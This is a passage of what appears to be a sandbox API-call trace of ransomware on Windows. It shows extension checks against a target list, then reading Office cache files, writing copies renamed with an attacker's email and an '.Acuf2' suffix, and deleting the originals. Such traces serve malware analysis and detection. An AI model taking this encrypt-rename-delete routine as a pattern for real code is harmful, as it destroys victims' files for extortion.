	[0039.548] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1
	[0039.548] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0039.548] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0039.548] lstrlenW (lpString=".doc") returned 4
	[0039.548] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0039.548] lstrlenW (lpString=".docx") returned 5
	[0039.548] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1
	[0039.548] lstrlenW (lpString=".pdf") returned 4
	[0039.548] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0039.548] lstrlenW (lpString=".xls") returned 4
	[0039.548] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0039.548] lstrlenW (lpString=".xlsx") returned 5
	[0039.548] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1
	[0039.548] lstrlenW (lpString=".ppt") returned 4
	[0039.548] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0039.548] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0039.548] lstrlenW (lpString=".zip") returned 4
	[0039.548] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0039.548] lstrlenW (lpString=".rar") returned 4
	[0039.548] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0039.549] lstrlenW (lpString=".bz2") returned 4
	[0039.549] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0039.549] lstrlenW (lpString=".7z") returned 3
	[0039.549] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0039.549] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0039.549] lstrlenW (lpString=".dbf") returned 4
	[0039.549] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0039.549] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0039.549] lstrlenW (lpString=".1cd") returned 4
	[0039.549] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0039.549] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0039.549] lstrlenW (lpString=".jpg") returned 4
	[0039.549] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0039.549] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0039.549] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0039.549] lstrlenW (lpString=".doc") returned 4
	[0039.549] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0039.549] lstrlenW (lpString=".docx") returned 5
	[0039.549] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1
	[0039.549] lstrlenW (lpString=".pdf") returned 4
	[0039.549] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0039.549] lstrlenW (lpString=".xls") returned 4
	[0039.549] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0039.549] lstrlenW (lpString=".xlsx") returned 5
	[0039.549] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1
	[0039.549] lstrlenW (lpString=".ppt") returned 4
	[0039.549] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0039.549] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0039.549] lstrlenW (lpString=".zip") returned 4
	[0039.549] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0039.549] lstrlenW (lpString=".rar") returned 4
	[0039.549] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0039.550] lstrlenW (lpString=".bz2") returned 4
	[0039.550] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0039.550] lstrlenW (lpString=".7z") returned 3
	[0039.550] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0039.550] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0039.550] lstrlenW (lpString=".dbf") returned 4
	[0039.550] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0039.550] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0039.550] lstrlenW (lpString=".1cd") returned 4
	[0039.550] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0039.550] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0039.550] lstrlenW (lpString=".jpg") returned 4
	[0039.550] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0039.550] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0039.550] lstrlenW (lpString="Office32WW.xml") returned 14
	[0039.550] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0039.551] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=4274) returned 1
	[0039.551] CloseHandle (hObject=0x168) returned 1
	[0039.551] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020
	[0039.551] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0039.551] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0039.551] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.551] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.552] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0039.552] GetLastError () returned 0x0
	[0039.552] ReadFile (in: hFile=0x168, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x10b2, lpOverlapped=0x0) returned 1
	[0039.553] WriteFile (in: hFile=0x160, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x10c0, lpOverlapped=0x0) returned 1
	[0039.554] ReadFile (in: hFile=0x168, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0039.554] WriteFile (in: hFile=0x160, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0039.554] SetEndOfFile (hFile=0x160) returned 1
	[0039.555] CloseHandle (hObject=0x160) returned 1
	[0039.555] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.555] SetEndOfFile (hFile=0x168) returned 1
	[0039.556] CloseHandle (hObject=0x168) returned 1
	[0039.556] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0039.556] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1
	[0039.557] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0039.557] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0039.557] lstrlenW (lpString=".doc") returned 4
	[0039.557] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0039.557] lstrlenW (lpString=".docx") returned 5
	[0039.557] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1
	[0039.557] lstrlenW (lpString=".pdf") returned 4
	[0039.557] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0039.557] lstrlenW (lpString=".xls") returned 4
	[0039.557] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0039.557] lstrlenW (lpString=".xlsx") returned 5
	[0039.557] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1
	[0039.557] lstrlenW (lpString=".ppt") returned 4
	[0039.557] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0039.557] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0039.557] lstrlenW (lpString=".zip") returned 4
	[0039.557] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0039.557] lstrlenW (lpString=".rar") returned 4
	[0039.557] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0039.557] lstrlenW (lpString=".bz2") returned 4
	[0039.557] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0039.557] lstrlenW (lpString=".7z") returned 3
	[0039.557] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0039.557] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0039.557] lstrlenW (lpString=".dbf") returned 4
	[0039.557] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0039.557] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0039.557] lstrlenW (lpString=".1cd") returned 4
	[0039.557] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0039.557] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0039.557] lstrlenW (lpString=".jpg") returned 4
	[0039.557] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0039.558] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0039.558] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0039.558] lstrlenW (lpString=".doc") returned 4
	[0039.558] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0039.558] lstrlenW (lpString=".docx") returned 5
	[0039.558] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1
	[0039.558] lstrlenW (lpString=".pdf") returned 4
	[0039.558] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0039.558] lstrlenW (lpString=".xls") returned 4
	[0039.558] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0039.558] lstrlenW (lpString=".xlsx") returned 5
	[0039.558] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1
	[0039.558] lstrlenW (lpString=".ppt") returned 4
	[0039.558] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0039.558] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0039.558] lstrlenW (lpString=".zip") returned 4
	[0039.558] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0039.558] lstrlenW (lpString=".rar") returned 4
	[0039.558] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0039.558] lstrlenW (lpString=".bz2") returned 4
	[0039.558] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0039.558] lstrlenW (lpString=".7z") returned 3
	[0039.558] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0039.558] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0039.558] lstrlenW (lpString=".dbf") returned 4
	[0039.558] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0039.558] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0039.558] lstrlenW (lpString=".1cd") returned 4
	[0039.558] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0039.558] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0039.558] lstrlenW (lpString=".jpg") returned 4
	[0039.559] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0039.559] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0039.559] lstrlenW (lpString="PrjProrWW.xml") returned 13
	[0039.559] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0039.561] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=6421) returned 1
	[0039.562] CloseHandle (hObject=0x168) returned 1
	[0039.562] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 0x2020
	[0039.562] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0039.562] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0039.562] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.562] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.562] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0039.562] GetLastError () returned 0x0
	[0039.562] ReadFile (in: hFile=0x168, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x1915, lpOverlapped=0x0) returned 1
	[0039.564] WriteFile (in: hFile=0x160, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x1920, lpOverlapped=0x0) returned 1
	[0039.565] ReadFile (in: hFile=0x168, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0039.565] WriteFile (in: hFile=0x160, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xee, lpOverlapped=0x0) returned 1
	[0039.565] SetEndOfFile (hFile=0x160) returned 1
	[0039.565] CloseHandle (hObject=0x160) returned 1
	[0039.565] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.566] SetEndOfFile (hFile=0x168) returned 1
	[0039.566] CloseHandle (hObject=0x168) returned 1
	[0039.566] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0039.567] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 1
	[0039.567] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76
	[0039.567] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76
	[0039.567] lstrlenW (lpString=".doc") returned 4
	[0039.567] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0039.567] lstrlenW (lpString=".docx") returned 5
	[0039.567] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1
	[0039.567] lstrlenW (lpString=".pdf") returned 4
	[0039.567] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0039.567] lstrlenW (lpString=".xls") returned 4
	[0039.567] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0039.567] lstrlenW (lpString=".xlsx") returned 5
	[0039.567] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1
	[0039.567] lstrlenW (lpString=".ppt") returned 4
	[0039.567] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0039.567] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76
	[0039.567] lstrlenW (lpString=".zip") returned 4
	[0039.567] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0039.567] lstrlenW (lpString=".rar") returned 4
	[0039.567] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0039.567] lstrlenW (lpString=".bz2") returned 4
	[0039.567] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0039.567] lstrlenW (lpString=".7z") returned 3
	[0039.567] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0039.568] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76
	[0039.568] lstrlenW (lpString=".dbf") returned 4
	[0039.568] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0039.568] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76
	[0039.568] lstrlenW (lpString=".1cd") returned 4
	[0039.568] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0039.568] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76
	[0039.568] lstrlenW (lpString=".jpg") returned 4
	[0039.568] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0039.568] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76
	[0039.568] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76
	[0039.568] lstrlenW (lpString=".doc") returned 4
	[0039.568] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0039.568] lstrlenW (lpString=".docx") returned 5
	[0039.568] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1
	[0039.568] lstrlenW (lpString=".pdf") returned 4
	[0039.568] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0039.568] lstrlenW (lpString=".xls") returned 4
	[0039.568] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0039.568] lstrlenW (lpString=".xlsx") returned 5
	[0039.568] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1
	[0039.568] lstrlenW (lpString=".ppt") returned 4
	[0039.568] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0039.568] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76
	[0039.568] lstrlenW (lpString=".zip") returned 4
	[0039.568] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0039.568] lstrlenW (lpString=".rar") returned 4
	[0039.568] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0039.568] lstrlenW (lpString=".bz2") returned 4
	[0039.568] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0039.569] lstrlenW (lpString=".7z") returned 3
	[0039.569] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0039.569] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76
	[0039.569] lstrlenW (lpString=".dbf") returned 4
	[0039.569] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0039.569] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76
	[0039.569] lstrlenW (lpString=".1cd") returned 4
	[0039.569] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0039.569] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76
	[0039.569] lstrlenW (lpString=".jpg") returned 4
	[0039.569] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0039.569] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0039.569] lstrlenW (lpString="Setup.xml") returned 9
	[0039.569] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0039.569] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=16683) returned 1
	[0039.569] CloseHandle (hObject=0x168) returned 1
	[0039.569] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020
	[0039.570] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0039.570] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0039.570] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.570] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.570] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0039.570] GetLastError () returned 0x0
	[0039.570] ReadFile (in: hFile=0x168, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x412b, lpOverlapped=0x0) returned 1
	[0039.921] WriteFile (in: hFile=0x160, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x4130, lpOverlapped=0x0) returned 1
	[0039.922] ReadFile (in: hFile=0x168, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
